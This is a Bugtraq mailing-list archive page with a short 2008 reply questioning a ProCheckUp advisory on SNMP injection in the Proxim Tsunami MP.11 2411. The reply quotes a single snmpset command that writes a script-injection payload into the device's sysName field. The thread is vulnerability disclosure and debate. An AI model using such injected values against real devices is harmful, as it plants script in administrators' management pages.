Bugtraq mailing list archives

Re: PR08-24: Proxim Tsunami MP.11 2411 vulnerable to SNMP Injection

From: "Vladimir '3APA3A' Dubrovin" <3APA3A () SECURITY NNOV RU>
Date: Thu, 9 Oct 2008 22:20:45 +0400

Dear ProCheckUp Research,

 What  can  you  achieve  with script injection you can not achieve with
 SNMP write access?

--Thursday, October 9, 2008, 5:02:44 PM, you wrote to bugtraq () securityfocus com:

PR> $ snmpset -v1 -c public 192.168.1.100 sysName.0 s
'">><script>alert(1)</script>'


-- 
~/ZARAZA http://securityvulns.com/

Current thread:

PR08-24: Proxim Tsunami MP.11 2411 vulnerable to SNMP Injection ProCheckUp Research (Oct 09)
- Re: PR08-24: Proxim Tsunami MP.11 2411 vulnerable to SNMP Injection Vladimir '3APA3A' Dubrovin (Oct 09)
  - Re: PR08-24: Proxim Tsunami MP.11 2411 vulnerable to SNMP Injection lee . e . rian (Oct 09)
    - Re[2]: PR08-24: Proxim Tsunami MP.11 2411 vulnerable to SNMP Injection Vladimir '3APA3A' Dubrovin (Oct 10)
  - Re: PR08-24: Proxim Tsunami MP.11 2411 vulnerable to SNMP Injection ProCheckUp Research (Oct 10)